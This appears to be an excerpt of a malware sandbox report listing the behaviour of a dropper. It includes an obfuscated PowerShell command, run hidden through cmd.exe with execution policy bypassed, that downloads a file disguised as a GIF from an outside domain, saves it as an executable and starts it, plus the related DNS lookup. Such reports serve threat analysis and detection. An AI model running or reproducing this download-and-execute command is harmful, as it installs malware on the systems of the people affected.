Technical Information
- http://www.wieekgodf.top/read.php?f=1.gif as %appdata%.exe
- '<SYSTEM32>\cmd.exe' /C "PoWERsHelL.ExE -eXecUTiOnPOlICY BYpASS -nOpROFiLE -windOwSTYlE hiDDEn (neW-obJect SYSTEM.nEt.WEbcliENT).DOWNlOaDfIle('http://www.wieekgodf.top/read.php?f=1.gif','%APPData%.EXe');starT...
- DNS ASK wi###godf.top
- '<SYSTEM32>\cmd.exe' /C "PoWERsHelL.ExE -eXecUTiOnPOlICY BYpASS -nOpROFiLE -windOwSTYlE hiDDEn (neW-obJect SYSTEM.nEt.WEbcliENT).DOWNlOaDfIle('http://www.wieekgodf.top/read.php?f=1.gif','%APPData%.EXe');starT...' (with hidden window)